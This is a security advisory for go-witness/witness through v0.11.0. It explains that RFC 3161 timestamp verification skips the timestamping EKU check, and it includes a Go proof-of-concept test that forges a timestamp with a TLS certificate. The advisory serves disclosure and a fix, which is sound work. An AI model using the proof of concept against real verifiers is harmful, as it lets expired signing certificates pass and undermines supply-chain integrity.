# GHSA-5QP5-PH6R-QJ9F: RFC 3161 timestamp verification does not require the id-kp-timeStamping EKU

- Database: GitHub
- Severity: CVSS 2.0 (Low)
- Published: 2026-07-10
- Modified: 2026-07-10

## Affected versions

- github.com/in-toto/go-witness (Go): through v0.11.0
- github.com/in-toto/witness (Go): through v0.11.0

## Description

## Summary

When verifying an RFC 3161 timestamp token, go-witness accepts any certificate that chains to a
configured timestamp-authority (TSA) root, without requiring the `id-kp-timeStamping` extended key
usage. RFC 3161 requires the TSA signing certificate to carry that EKU (as a critical extension), so
a certificate that is not authorized to issue timestamps can produce timestamps the verifier trusts.
A verified timestamp sets the trusted time used for downstream certificate-validity checks, so a
forged timestamp can, for example, make an expired signing certificate appear valid.

## Impact

Timestamp forgery by a certificate that is not authorized to issue timestamps. A holder of any
non-timestamping certificate under a trusted TSA root can mint timestamps the verifier honors. Since
the timestamp sets the trusted time for signing-certificate validity, this enables, among other
things, making an expired (or not-yet-valid) signing certificate verify, which is the building block
for using a long-expired harvested certificate in other attacks. The scope is integrity (not
confidentiality or availability).

**Real-world exploitation conditions.** Two conditions:

1. **The verifier is configured to trust a TSA root** (for example via the witness CLI's
   `--policy-timestamp-servers`), which is normal in deployments that rely on timestamps to handle
   short-lived certificates.
2. **The attacker can obtain a certificate that chains to that trusted TSA root.** This defect
   removes the requirement that such a certificate carry the timestamping EKU, so a TLS or other
   general-purpose certificate under the same root is sufficient.

This is feasible where the trusted TSA anchor is a general-purpose or internal CA under which an
attacker can enroll any certificate. It is **not** exploitable against a dedicated TSA root (such as
the public Sigstore timestamp authority) under which the attacker cannot obtain a certificate. The
`AC:H` rating reflects the need to obtain such a certificate.

## Details

`TSPVerifier.Verify` (`timestamp/tsp.go:146-176`) verifies the token's certificate chain with
`p7.VerifyWithChain(v.certChain)` (line 171) and sets **no** `KeyUsages`:

```go
// timestamp/tsp.go (verify path)
if err := p7.VerifyWithChain(v.certChain); err != nil {   // line 171
    return time.Time{}, err
}
```

With no `KeyUsages` supplied, the underlying pkcs7 verification defaults to `ExtKeyUsageAny`, i.e. it
does not constrain the EKU at all. A search across the `timestamp/` package for
`TimeStamping` / `ExtKeyUsage` finds no enforcement of `ExtKeyUsageTimeStamping`. Consequently any
leaf that chains to a trusted TSA root (a TLS server cert, a code-signing cert, a cert with no EKU,
etc.) is accepted as a valid timestamper.

The verified timestamp time is then used as the trusted time for signature-certificate validity
(`dsse/verify.go`, the timestamp-verifier branch), so control over timestamping translates into
control over the validity window applied to signing certificates.

## Proof of Concept

The required input is an RFC 3161 token, which the standard CLI does not let you craft with an
arbitrary TSA certificate (the existing tests use a fake timestamper), so the PoC is a standalone Go
test. It mints a token signed by a leaf carrying `ExtKeyUsageServerAuth` (a TLS certificate, **not**
a timestamping certificate) under a TSA root, then asks the go-witness verifier to verify it against
that root. The verifier accepts it.

```
git clone https://github.com/in-toto/go-witness && cd go-witness
git checkout v0.11.0   # also present in v0.10.0; timestamp/tsp.go is identical in both
# save the code below as timestamp/poc_tsa_eku_test.go, then:
go test ./timestamp/ -run TestTSAMissingTimestampingEKU -v
```

It **fails** (the secure assertion does not hold): the verifier returns a valid time and a nil error
for a non-timestamping certificate. The test uses only upstream code and the certificate helpers in
`internal/test/util.go`.

```go
package timestamp

import (
	"bytes"
	"context"
	"crypto"
	"crypto/sha256"
	"crypto/x509"
	"crypto/x509/pkix"
	"math/big"
	"testing"
	"time"

	tstamp "github.com/digitorus/timestamp"
	"github.com/in-toto/go-witness/internal/test"
	"github.com/stretchr/testify/require"
)

func TestTSAMissingTimestampingEKU(t *testing.T) {
	rootCert, rootKey, err := test.CreateRoot()
	require.NoError(t, err)

	// Leaf under the TSA root that is NOT authorized to timestamp: it carries
	// ExtKeyUsageServerAuth (TLS), not id-kp-timeStamping.
	leafPriv, leafPub, err := test.CreateRsaKey()
	require.NoError(t, err)
	leafCert, err := test.CreateCert(rootKey, leafPub, &x509.Certificate{
		Subject:               pkix.Name{CommonName: "not-a-timestamper.example"},
		NotBefore:             time.Now().Add(-time.Hour),
		NotAfter:              time.Now().Add(24 * time.Hour),
		KeyUsage:              x509.KeyUsageDigitalSignature,
		ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, // NOT timestamping
		BasicConstraintsValid: true,
	}, rootCert)
	require.NoError(t, err)

	signedData := []byte("the signature bytes being timestamped")
	digest := sha256.Sum256(signedData)

	resp, err := (&tstamp.Timestamp{
		HashAlgorithm:     crypto.SHA256,
		HashedMessage:     digest[:],
		Time:              time.Now().UTC(),
		Nonce:             big.NewInt(0).SetBytes([]byte{1, 2, 3}),
		Policy:            []int{2, 4, 5, 6},
		Accuracy:          time.Second,
		AddTSACertificate: true, // embed the (non-timestamping) leaf in the token
	}).CreateResponse(leafCert, leafPriv)
	require.NoError(t, err)
	parsed, err := tstamp.ParseResponse(resp)
	require.NoError(t, err)

	_, err = NewVerifier(VerifyWithCerts([]*x509.Certificate{rootCert})).
		Verify(context.Background(), bytes.NewReader(parsed.RawToken), bytes.NewReader(signedData))

	// SECURE EXPECTATION: a TSA cert lacking id-kp-timeStamping must be rejected.
	require.Error(t, err,
		"timestamp accepted from a certificate without the timestamping EKU (timestamp/tsp.go:171)")
}
```

## Suggested fix

Require `ExtKeyUsageTimeStamping` on the timestamp token's signing certificate when verifying. Pass
`KeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageTimeStamping}` (rather than the implicit
`ExtKeyUsageAny`) into the chain verification, and reject tokens whose signer does not carry the
timestamping EKU, per RFC 3161.

## References

- https://github.com/in-toto/go-witness/security/advisories/GHSA-5qp5-ph6r-qj9f

Page: https://cve.now/GHSA-5QP5-PH6R-QJ9F

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
